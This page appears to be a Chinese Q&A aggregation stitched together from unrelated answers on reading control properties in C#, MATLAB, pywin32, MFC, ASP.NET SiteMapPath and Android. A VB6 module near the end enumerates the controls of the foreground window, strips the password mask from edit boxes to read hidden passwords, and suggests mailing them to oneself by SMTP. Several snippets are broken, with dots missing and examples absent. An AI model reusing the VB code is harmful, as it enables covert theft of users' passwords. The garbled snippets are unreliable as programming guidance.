把窗体本身或者控件传入这个类(或者做为参数传给这个类的方法),看你的需要了,比如说你在form1里创建的这个类叫myclass,把这个mycalss的构造方法改成
public class myclass{
form1 frm;
public myclass(form1 frm)
{
thisfrm=frm;
}
}
这样你在form1中创建这个myclass的时候就可以是
myclass mc=new myclass(this);
当然也可以直接传窗体或者控件给类中的方法,比如mycalss中有
public void msg(EditText txt)
或者
public void msg(form1 frm)
其它方法也很多,看你需要了。
你直接选中了然后Ctrl+C就可以啊。malab是支持这个热键的,还有Ctrl+V等等。
这个实在是难为matlab了,官方不开放这些属性,只能加载java类的控件,里面有各种属性和方法可以使用。
不知道你解决了没,最近正好研究python。
hwnd=win32guiFindWindow()这个获取窗体句柄,大概都会用;
ctrl=win32guiFindWindowEx(hwnd,None,'窗口类名',‘标题文本’)已知控件类名或控件名时获取控件句柄,这个标题文本不一定存在,所以使用None默认值获取的是该窗口类名中第一个顺位的控件句柄。
你使用b=win32guiGetDlgItem(edit,资源ID)最终结果是获取的是句柄,这里的资源ID其实是spy++中的窗口ID,句柄是可变的,窗口ID是不可变的。这里似乎错了,你这样子大概获取的是控件中的子项(控件有子项的话,比如Combox中的edit框),我猜的,没试过。b=win32guiGetDlgItem(hwnd,窗口ID)是已知ID下获取某控件句柄
如果你想获取某个控件的ID则ctrlid=win32guiGetDlgCtrlID(ctrl)这是一只某控件句柄的情况下获取该控件在应用程序中的窗口ID。
如果不知控件句柄的情况下大概可以试试spy++获取窗口ID,把窗口ID(这个是16进制的)转化成10进制带进b=win32guiGetDlgItem(hwnd,窗口ID)大概也可以得到控件句柄。
其实就是三个函数之间的转化
ctrl=win32guiFindWindowEx(hwnd,None,'edit',None)控件句柄
ctrlid=win32guiGetDlgCtrlID(ctrl)控件的窗口id
ctrl2=win32guiGetDlgItem(hwnd,ctrlid)控件句柄
print "%x" %ctrllist
print "%x" %ctrlid
print "%x" %ctrl
输出,看一下数据与spy++是否一致。然后ctrl=ctrl2
很简单的,你用classwizard给这个控件添加一个变量,选择的类型为contrl
然后在这个变量的定义的代码处,把CEdit改成你自己的类型就可以了,你自己定义的类型必须是从cedit派生来的。
通过设置控件的参数或者配置作用于控件的模板,可以对网站导航控件的可视外观进行自定义。应用于链接的模板和样式依照两个优先规则在
sitemappath
的
remarks
部分得到描述。
另外也可以将主题或控件皮肤应用于控件,或者开发符合特殊呈现需求的自定义网站导航控件。
sitemappath
控件显示一条导航路径(链接之间以特殊符号进行分隔),以链接的方式显示当前页面返回到主页的路径。在
aspnet
页面中,sitemappath
控件会的显示可能是这样:
home
>
services
>
training
treeview
和
menu
控件也可以呈现网站地图数据,与
sitemappath
控件类似,它们可以像其他大部分
web
控件一样进行自定义。本文将介绍如何使用
sitemappath
控件的下列自定义特征:
指定显示在链接之间的分隔字符或。
反转导航路径的方向。
指定父链接的显示数目。
本文的所有步骤均假设已经创建网站地图文件和若干包含
sitemappath
控件的页面。
自定义链接的样式属性
在包含
sitemappath
控件的
aspnet
web
页面里,为控件添加下列属性:
rootnodestyle-font-names="verdana"
rootnodestyle-forecolor="orange"
rootnodestyle-borderwidth=2
比如,用于
sitemappath
控件的代码可能是这样:
上例中使用的
style
和
fontinfo
对象的大部分属性都是有效的,包括
cssclass
属性。
如果需要为每一个链接指定不同的样式内容,请重复前面的步骤并分别设置
sitemappath
控件的
parentnodestyle,currentnodestyle,以及
pathseperatorstyle
属性。
提示:为了改进性能,可以使用
nodetemplate
对象一次性完成所有样式的自定义。
自定义显示在链接之间的分隔字符
在包含
sitemappath
控件的
aspnet
web
页面中,为控件添加
pathseparator
属性。
比如,用于
sitemappath
控件的代码可能是这样:
现在的
sitemappath
控件的显示可能是这样:
home
::
services
::
training
可以使用任意字符串来分隔链接,甚至可以使用,请参考下列步骤。
指定显示在链接之间的
在包含
sitemappath
控件的
aspnet
web
页面中,为控件添加下列代码:
比如,用于
sitemappath
控件的代码可能是这样:
反转显示在
sitemappath
控件中的路径的方向
在包含
sitemappath
控件的
aspnet
web
页面中,为控件添加
pathdirection
和
pathseparator
属性。
比如,用于
sitemappath
控件的代码可能是这样:
限制父链接显示的数目
在包含
sitemappath
控件的
aspnet
web
页面中,为控件添加
parentlevelsdisplayed
属性。
比如,用于
sitemappath
控件并最多只显示两个父链接的代码可能是这样:
可访问性
网站导航控件通常在网站的每一个页面中都被使用。屏幕阅读器和其他辅助设备会在每次访问页面以及每次回传页面时大声地读出导航控件中的文本内容。
包括
sitemappath,treeview,及
menu
在内的网站导航控件都有
skiplinktext
属性,允许复述信息被连续页面访问或重复页面访问时能够被跳过。
使用可访问性遗漏特征
在包含导航控件的
aspnet
web
页面中,为控件添加下列属性:
skiplinktext="skipped
menu"
比如,用于
sitemappath
控件的代码可能是这样:
本文来源:开发者在线
>
'缓存子窗体控件句柄
Public
ChildHwnd
As
String
Declare
Sub
Sleep
Lib
"kernel32"
(ByVal
dwMilliseconds
As
Long)
'发送消息
Declare
Function
SendMessage
Lib
"user32"
Alias
"SendMessageA"
(ByVal
hWnd
As
Long,
ByVal
wMsg
As
Long,
ByVal
wParam
As
Long,
lParam
As
Any)
As
Long
Declare
Function
PostMessage
Lib
"user32"
Alias
"PostMessageA"
(ByVal
hWnd
As
Long,
ByVal
wMsg
As
Long,
ByVal
wParam
As
Long,
ByVal
lParam
As
Long)
As
Long
'主要用来遍历子窗体和子控件句柄
Declare
Function
EnumChildWindows
Lib
"user32"
(ByVal
hWndParent
As
Long,
ByVal
lpEnumFunc
As
Long,
ByVal
lParam
As
Long)
As
Long
'控件类型
Declare
Function
GetClassName
Lib
"user32"
Alias
"GetClassNameA"
(ByVal
hWnd
As
Long,
ByVal
lpClassName
As
String,
ByVal
nMaxCount
As
Long)
As
Long
'开始遍历
EnumChildWindows
mehWnd,
AddressOf
EnumChildProc,
ByVal
0&
'遍历子窗体控件句柄,这个函数必须用在模块中
Public
Function
EnumChildProc(ByVal
hWnd
As
Long,
ByVal
lParam
As
Long)
As
Long
ChildHwnd
=
ChildHwnd
&
","
&
hWnd
EnumChildProc
=
1
End
Function
'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再
'Dim
AllHwnd()
As
String
'去除多余的无效字符
'ChildHwnd
=
Mid(ChildHwnd,
2)
'转换成数组
'AllHwnd
=
Split(ChildHwnd,
",")
'获得所有子句柄后,需要获取其控件类型
'查看窗体/控件类型
Public
Function
FGetClassName(hWnd
As
Long)
As
String
Dim
ClassName
As
String
Dim
Ret
As
Long
'为类名设置缓存区大小
ClassName
=
Space(256)
'得到GETCLASSNAME返回值
Ret
=
GetClassName(hWnd,
ClassName,
256)
FGetClassName
=
Left(ClassName,
Ret)
End
Function
'直接sendmessage
就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再 postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复passwordchar属性
Public
Function
GetText(WindowHandle
As
Long)
As
String
Dim
strBuffer
As
String,
Char
As
String,
lngTextLength
As
Long
strBuffer
=
Space(255)
'得到password掩码
Char
=
SendMessage(WindowHandle,
&HD2,
0,
0)
'去除edit控件的passwordchar属性
PostMessage
WindowHandle,
&HCC,
0,
0
'如果是edit控件则等待消息发送成功
If
InStr("Edit",
FGetClassName(WindowHandle))
And
Char
<>
"0"
Then
Sleep
(10)
'得到edit控件的text
SendMessage
WindowHandle,
&HD,
255,
ByVal
strBuffer
'恢复edit控件的passwordchar属性
PostMessage
WindowHandle,
&HCC,
ByVal
Char,
0
GetText
=
Trim(strBuffer)
End
Function
'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了
'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)
'测试了下,我自己机器上,只有qq2007
beta3的密码是读不出来的,用户名是假的
'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了
'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难
et = (EditText)findViewById(Ridedittext);
String value = etgetText()toString();
这样不就可以获取到了?
以上就是关于C#一个普通的类,怎么获取窗体里控件的属性全部的内容,包括:C#一个普通的类,怎么获取窗体里控件的属性、怎样获取matlab的edit控件中所选择的文本剪贴板、python pywin32 里面 *** 作窗体,获取窗体里面的数据,在函数GetDlgItem函数中,怎么获取第二个参数的值等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)